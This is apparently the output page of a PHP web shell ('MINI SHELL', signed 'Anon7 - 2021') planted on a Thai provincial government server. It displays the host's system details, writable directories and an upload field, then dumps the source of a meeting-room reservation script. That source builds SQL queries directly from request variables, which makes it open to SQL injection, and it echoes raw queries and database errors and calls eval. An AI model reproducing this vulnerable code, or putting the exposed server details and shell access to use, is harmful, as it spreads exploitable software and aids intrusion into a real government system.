MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/meetingroom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/meetingroom/Copy of reserve_room.php
<?
//include("chk_permission.php");
session_start();
include("../../config/config.inc.php");
include("../../common/function.php");
$phpfile = "reserve_room.php" ; 
##meeting_reserve 
################ HARD FIX
#$_SESSION[session_staffid] = 49 ;
$user=$_SESSION[session_staffid];
################

?>
<HTML>
<HEAD><TITLE>ระบบจองห้องประชุม</TITLE>
<META http-equiv="Content-Type" content="text/html; charset=windows-874">
<LINK href="../../common/style.css" rel="stylesheet" type="text/css">
<LINK href="../../common/tab_style.css" rel="stylesheet" type="text/css" />
<SCRIPT language="javascript" src="../../common/popcalendar.js"></SCRIPT>
<SCRIPT language="javascript" src="../../common/xmlhttp.js"></SCRIPT>
<SCRIPT type="text/javascript" src="../../common/tabber.js"></SCRIPT>
</HEAD>
<BODY topmargin="0">
<? 			 	
$title_label = "ระบบจองห้องประชุม";
include "header.php";   
include "menu_bar.php";  
?>
<? 	


if ($save_reserve != ""){ 
############################# while (list ($key, $val) = each ($_POST)) { echo " <br>  $key  ::::::::: $val  "; 	}
$mysql_date = convert_2mysql($pdate) ;
$time_start = $formhh1 .":". $formmm1 ; 
$time_end = $formhh2 .":". $formmm2 ; 



$sql = " INSERT INTO meeting_reserve ( roomid,daterent,time_start,time_end,staff_regis,contactpoint,
contactpointtel,meeting_topic,meeting_chairman,meeting_person ) VALUES ( 
'$roomid','$mysql_date','$time_start','$time_end','$user','$contactpoint',
'$contactpointtel','$meeting_topic','$meeting_chairman' ,'$meeting_person')  "; 
$result = mysql_query($sql) ; 

echo " <hr> $sql  <hr>";
echo mysql_error() ; 
die; 
} ############# if ($save_reserve != ""){
?>
    <table width="100%" height="400" border="0" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
      <tr>
        <td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="19%" align="center" valign="top">
<? 
$csql = " SELECT * FROM  meeting_reserve  ";			
include("_calendar.php"); 
?></td>
            <td colspan="3" rowspan="2" valign="top">
<?
$nowdatemysql  = convert_2mysql($jump) ; 
$sql = " 
SELECT rid,refid, rname, rdetail, rfloor, rsize, rrent, meeting_reserve.daterent, meeting_reserve.time_start, 
meeting_reserve.time_end, meeting_reserve.contactpoint, meeting_reserve.contactpointtel, 
meeting_reserve.meeting_topic, meeting_reserve.meeting_chairman, meeting_reserve.meeting_person , 
admin_confirm , statusname
FROM meeting_room 
LEFT  JOIN meeting_reserve ON rid = meeting_reserve.roomid
INNER  JOIN  meeting_status ON admin_confirm = statusid 
WHERE    
meeting_reserve.daterent =  '$nowdatemysql'      
AND  rid = $roomid 
 "; 
$result = mysql_query($sql) ; 
while ($rs = mysql_fetch_assoc($result)){ 
	$roomid = $rs[rid] ; 
	$refid = $rs[refid] ; 
	$arr_timestart = explode(":" , $rs[time_start] ) ; 
	$arr_timeend = explode(":" , $rs[time_end] ) ; 
	
	$starthh = $arr_timestart[0] ; 	$startmin = $arr_timestart[1] ; 	
	$endhh = $arr_timeend[0] ; 	$endmin = $arr_timeend[1] ; 
	
	$arr_roomref[$roomid]  = $arr_roomref[$roomid] .",".  $refid ; 
	
	$arr_starthh[$roomid][$refid] =   $starthh  ; 	$arr_startmin[$roomid][$refid] =   $startmin  ; 	
	$arr_endhh[$roomid][$refid] =   $endhh  ; 	$arr_endmin[$roomid][$refid] =   $endmin  ; 
	$arr_confirm[$roomid][$refid] = $rs[admin_confirm] ; 
} ###### END while ($rs = mysql_fetch_assoc($result)){ 
####################################################################
$sql = " SELECT * FROM meeting_status  "; 
$result = mysql_query($sql) ; 
while ($rs = mysql_fetch_assoc($result)){ 
	$arr_colorselect[$rs[statusid]] = $rs[statuscolor] ; 
} #########  while ($rs = mysql_fetch_assoc($result)){ 
####################################################################
$sql = " SELECT  rid,rname,rdetail,rfloor,rsize,rrent   FROM  meeting_room  WHERE   rid = $roomid  ";
$result = mysql_query($sql) ; 

?>
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#666666">
  <tr  bgcolor="#466A8E"  class="headerTB_white" >
    <td rowspan="2" align="center" >&nbsp;</td>
    <td width="200" rowspan="2" align="center" bgcolor="#466A8E" ><strong>ห้องประชุม</strong></td>
    <td colspan="10" align="center"><strong>สถานะการใช้งานห้องประชุมวันที่
      <?=jump_daythai($jump)?>
    </strong></td>
  </tr>
  <tr  bgcolor="#466A8E"  class="ptext_w" >
    <td align="center"> 8.00-9.00 </td>
    <td align="center"> 9.00-10.00 </td>
    <td align="center"> 10.00-11.00 </td>
    <td align="center"> 11.00-12.00 </td>
    <td align="center"> 12.00-13.00 </td>
    <td align="center"> 13.00-14.00 </td>
    <td align="center"> 14.00-15.00 </td>
    <td align="center"> 15.00-16.00</td>
    <td align="center">16.00-17.00</td>
    <td align="center">17.00-18.00</td>
  </tr>
  <?
while ($rs= mysql_fetch_assoc($result)){ 
	$nonm++; 	
	if ($bgcolor1 == "DDDDDD"){  $bgcolor1 = "EFEFEF"  ; } else {$bgcolor1 = "DDDDDD" ;}
	$roomid = $rs[rid] ; 	
	$arr001 = $arr_starthh[$roomid] ; 
	while (list ($xrefid, $val) = @each($arr001)) {   ########## หาว่าห้อง   $roomid มีการประชุมกี่โมง 
#		echo " ============= ห้อง $roomid  ลำดับ(key) $xrefid,  เวลา $val  <br> ";  
		$admin_confirm = $arr_confirm[$roomid][$xrefid] ; 
		$xtimestart =  (int)$arr_starthh[$roomid][$xrefid] ; 
		$xtimeend =  (int)$arr_endhh[$roomid][$xrefid] ; 
		 for ($ii = $xtimestart ; $ii < $xtimeend ; $ii++){ ########## Start ทราบเวลาเิริ่มและเวลาจบ วนหาเวลาตรงกลาง
			$colorselect = $arr_colorselect[$admin_confirm] ; 

			$varbgtmp = "bgcolor_c" . $ii ;  $$varbgtmp = "bgcolor='$colorselect'" ;  ##### กำหนดสีให้ตัวแปร
			eval("\$varbgtmp  = \"$varbgtmp\";"); 		
			$varbg  = $$varbgtmp  ; 
		 } ###### END for  ########## END  ทราบเวลาเิริ่มและเวลาจบ วนหาเวลาตรงกลาง
	} ################## END while (list ($name, $val) = each($arr001)) { 

?>
  <tr  bgcolor="#FFFFFF" >
    <td height="25" bgcolor="#FFFFFF"><a href="reserve_room.php?roomid=<?=$rs[rid]?>&jumpdate=<?=$jump?>"> <img src="../../../eoffice/images/document_add.gif" alt="จอง <?=$rs[rname]?>" width="20" height="20" border="0"></a> </td>
    <td height="25" bgcolor="#FFFFFF"><a href="room_detail.php?roomid=<?=$rs[rid]?>" target="_blank"  > </a>
        <?=$rs[rname]?></td>
    <td <?=$bgcolor_c8?>>&nbsp;</td>
    <td <?=$bgcolor_c9?>>&nbsp;</td>
    <td <?=$bgcolor_c10?>>&nbsp;</td>
    <td <?=$bgcolor_c11?>>&nbsp;</td>
    <td <?=$bgcolor_c12?>>&nbsp;</td>
    <td <?=$bgcolor_c13?>>&nbsp;</td>
    <td <?=$bgcolor_c14?>>&nbsp;</td>
    <td <?=$bgcolor_c15?>>&nbsp;</td>
    <td <?=$bgcolor_c16?>>&nbsp;</td>
    <td <?=$bgcolor_c17?>>&nbsp;</td>
  </tr>
  <?
 for ($ii = 1 ; $ii < 24 ; $ii++){
	$varbgtmp = "bgcolor_c" . $ii  ;
	$$varbgtmp = "" ;
 }
					
}  ################## END while ($rs= mysql_fetch_assoc($result)){ 
?>
</table>
<br>
                <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                  <td colspan="7"><strong>สถานะการจองห้องประชุม</strong></td>
                </tr>
                <tr>
                  <td width="5%">&nbsp;</td>
                  <td width="3%" bgcolor="#FFFFFF">&nbsp;</td>
                  <td width="27%"> &nbsp; ห้องประชุมว่าง</td>
                  <td width="3%" bgcolor="#FFFF99">&nbsp;</td>
                  <td width="26%">&nbsp; จองห้องประชุม</td>
                  <td width="3%" bgcolor="#A0C779">&nbsp;</td>
                  <td width="33%">&nbsp; ผ่านยืนยันการจองโดยผู้ดูแลระบบ</td>
                </tr>
              </table>
            <br>
            <br>
            <form name="post" method="post" action="reserve_room.php?roomid=<?=$roomid?>">
<?

if ($editid != ""){ 
	$sql = " SELECT * FROM meeting_reserve WHERE refid = '$editid'  ";
	$result = mysql_query($sql) ; 
	while ($rs = mysql_fetch_assoc($result)){ 
		$rs_refid    = $rs[refid] ; 
		$rs_roomid    = $rs[roomid] ; 
		$rs_daterent   = $rs[daterent] ; 
		$rs_time_start    = $rs[time_start] ; 
		$rs_time_end    = $rs[time_end] ; 
		$rs_staff_regis    = $rs[staff_regis] ; 
		$rs_contactpoint    = $rs[contactpoint] ; 
		$rs_contactpointtel    = $rs[contactpointtel] ; 		
		$rs_meeting_topic    = $rs[meeting_topic] ; 
		$rs_meeting_chairman    = $rs[meeting_chairman] ; 
		$rs_meeting_person    = $rs[meeting_person] ; 	
		$rs_admin_confirm    = $rs[admin_confirm] ; 
	} ########## END while ($rs = mysql_fetch_assoc($result)){  	
} ######################### END if ($editid != ""){ 
?>			
              <table width="98%" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#F5F5F5">
                <tr>
                  <td><strong>ยื่นความจำนงต้องการจองห้องประชุม</strong></td>
                </tr>
                <tr>
                  <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#EEEEEE">
                    
                    <tr>
                      <td width="4%">&nbsp;</td>
                      <td width="19%" align="right">ห้อง : </td>
                      <td><?=$xroomname?>                      </td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">วันที่ : </td>
                      <td>
<?

$thyy = date("Y") + 543 ; 
$nowdate=date("d") ."/". date("m") ."/". $thyy ; 
$jump_th =  convert2th($jump) ; 

?>					  
<INPUT name="pdate" type="text" class="input" id="pdate" style="width:120px;" value="<?=$jump_th?>" maxlength="10" readonly>
<SCRIPT language='javascript'>	if (!document.layers) {	document.write("<input type=button onclick='popUpCalendar(this, post.pdate, \"dd/mm/yyyy\")' value=' เลือกวัน ' class='input'>")	}</SCRIPT>					  </td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">เริ่มประชุมเวลา :</td>
                      <td width="77%"><?
						  $nowhh = date("G") ; 
						  $nowmin = date("i") ; 						  
						  ?>
                        <select name="formhh1">
                          <? for ($ii = 0; $ii < 24 ; $ii++){ 
					  			#if ($nowmin==$ii){$str_select = " selected "; }else{ $str_select= "";} 
					  			if ($ii==8){$str_select = " selected "; }else{ $str_select= "";} 								
                           	echo " <option value=$ii   $str_select >$ii นาฬิกา</option> "; 
							  } ?>
                        </select>
                        <select name="formmm1">
                          <? for ($ii = 0; $ii < 61 ; $ii++){ 
#						  			if ($nowmin==$ii){$str_select = " selected "; }else{ $str_select= "";} 
						  			if ($ii==0){$str_select = " selected "; }else{ $str_select= "";} 									
                           	echo " <option value=$ii   $str_select >$ii นาที</option> "; 
							  } ?>
                        </select>
						
						เลิกประชุมเวลา
                        <select name="formhh2">
                          <? for ($ii = 0; $ii < 24 ; $ii++){ 
					  			#if ($nowmin==$ii){$str_select = " selected "; }else{ $str_select= "";} 
					  			if ($ii==8){$str_select = " selected "; }else{ $str_select= "";} 								
                           	echo " <option value=$ii   $str_select >$ii นาฬิกา</option> "; 
							  } ?>
                        </select>
                        <select name="formmm2">
                          <? for ($ii = 0; $ii < 61 ; $ii++){ 
#						  			if ($nowmin==$ii){$str_select = " selected "; }else{ $str_select= "";} 
						  			if ($ii==0){$str_select = " selected "; }else{ $str_select= "";} 									
                           	echo " <option value=$ii   $str_select >$ii นาที</option> "; 
							  } ?>
                        </select>
						</td>
                      </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">&nbsp;</td>
                      <td>&nbsp; </td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">ประธานที่ประชุม : </td>
                      <td><input name="meeting_chairman" type="text" id="meeting_chairman" size="80"></td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">หัวข้อการประชุม : </td>
                      <td><input name="meeting_topic" type="text" id="meeting_topic" size="80"></td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">ผู้ประสานงาน : </td>
                      <td><input name="contactpoint" type="text" id="contactpoint" size="80"></td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">เบอร์โทรผู้ประสานงาน : </td>
                      <td><input name="contactpointtel" type="text" id="contactpointtel" size="80"></td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">จำนวนผู้เข้าร่วมประชุม : </td>
                      <td><input name="meeting_person" type="text" id="meeting_person" size="4" maxlength="4">                        
                        คน ระบุข้อมูลเป็นตัวเลขเช่น &quot;241&quot; </td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">&nbsp;</td>
                      <td>&nbsp;</td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td align="right">อุปกรณ์โสต : </td>
                      <td>&nbsp;</td>
                    </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td><input name="roomid" type="hidden" id="roomid" value="<?=$roomid?>">
                        <input name="jumpdate" type="hidden" id="jumpdate" value="<?=$jump?>"></td>
                      <td><input type="submit" name="save_reserve" value="บันทึก"> 
					  <input type="button" name="Submit2" value="กลับหน้าหลัก"  onClick="window.location='main.php'  " ></td>
                      </tr>
                    <tr>
                      <td>&nbsp;</td>
                      <td>&nbsp;</td>
                      <td>&nbsp;</td>
                      </tr>
                  </table></td>
                </tr>
              </table>
            </form>
            </td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
        </table></td>
      </tr>
</table>

 
	
 
	
	
	
	

	
<? 	
		 	include "footer.php";  
?>

Anon7 - 2021